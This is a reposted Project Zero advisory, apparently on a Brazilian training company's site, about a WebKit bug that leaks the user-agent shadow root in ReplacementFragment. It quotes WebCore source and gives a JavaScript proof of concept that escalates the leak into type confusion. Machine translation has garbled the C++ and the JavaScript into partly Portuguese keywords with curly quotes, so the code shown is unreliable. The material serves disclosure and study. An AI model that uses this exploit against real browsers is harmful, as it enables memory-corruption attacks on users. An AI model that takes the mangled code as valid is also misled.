fbpx

WebKit – User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment

WebKit – User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment

<! –
DETALHES DA VULNERABILIDADE
editando / ReplaceSelectionCommnd.cpp:
“ “
Ref <HTMLElement> ReplacementFragment :: insertFragmentForTestRendering (Node * rootEditableElement)
{
titular automático = createDefaultParagraphElement (document ());

holder-> appendChild (* m_fragment);
rootEditableElement-> appendChild (holder); // *** 2 ***
document (). updateLayoutIgnorePendingStylesheets ();

titular do retorno;
}

[…]

ReplacementFragment :: ReplacementFragment (documento e documento, fragmento DocumentFragment *, const VisibleSelection e seleção)
: m_document (e documento)
, m_fragment (fragmento)
, m_hasInterchangeNewlineAtStart (false)
, m_hasInterchangeNewlineAtEnd (false)
{
if (! m_fragment)
Retorna;
if (! m_fragment-> firstChild ())
Retorna;

RefPtr <Element> editableRoot = selection.rootEditableElement (); // *** 1 ***
ASSERT (raiz editável);
if (! editableRoot)
Retorna;
[…]
RefPtr <StyledElement> holder = insertFragmentForTestRendering (editableRoot.get ());
“ “

html / shadow / SliderThumbElement.cpp
“ “
Const RefPtr <HTMLInputElement> SliderThumbElement :: hostInput ()
{
// Apenas HTMLInputElement cria instâncias SliderThumbElement como seus nós de sombra.
// Então, shadowHost () deve ser um HTMLInputElement.
retornar downcast <HTMLInputElement> (shadowHost ()); // *** 3 ***
}
“ “

Percebi esse comportamento quando estava depurando o caso de teste para
https://bugs.webkit.org/show_bug.cgi?id=199146. Quando o elemento atualmente focado é um <input>,
`selection.rootEditableElement ()` em [1] pode apontar para um nó dentro do user agent do <input>
sombra da árvore DOM. Em seguida, é chamado `insertFragmentForTestRendering`, que pode ter efeitos colaterais,
por exemplo, se o fragmento inserido contiver um elemento <iframe>, seu manipulador “onload” será chamado
de forma síncrona e é possível alcançar o objeto raiz de sombra do agente do usuário seguindo o
cadeia ancestral do <iframe>.

Quando um invasor tem acesso à raiz de sombra, ele pode usá-lo para vazar outros elementos que são apenas
destinados ao uso interno e possuem verificações de segurança menos rigorosas. Por exemplo, `SliderThumbElement`
não verifica se o elemento host é um <iframe> em [3], para que o invasor possa transformar esse bug em um
vulnerabilidade de confusão de tipo.

VERSÃO
Revisão do WebKit 246194
Safari versão 12.1.1 (14607.2.6.1.1)

CASO DE REPRODUÇÃO
->

<body>
<script>
input = document.body.appendChild (document.createElement (‘input’));
input.focus ();
manipulador = evento => {
shadow_root = event.target.parentNode.parentNode.parentNode;
input.type = ‘intervalo’;
elt = shadow_root.firstChild.firstChild.firstChild;
input.remove ();
elt.remove ();
evt = novo MouseEvent (‘mouseup’);
div = document.createElement (‘div’);
new_shadow_root = div.attachShadow ({mode: ‘open’});
new_shadow_root.appendChild (elt);
elt.dispatchEvent (evt);
}
document.execCommand (‘insertHTML’, false, ‘<iframe src = “about: blank” onload = “manipulador (evento)”> </iframe>’);
</script>
</body>

<! –
INFORMAÇÃO DE CRÉDITO
Sergei Glazunov, do Google Project Zero
->

11 de novembro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900

Copyright © Linux Force Security  - Desde 2011.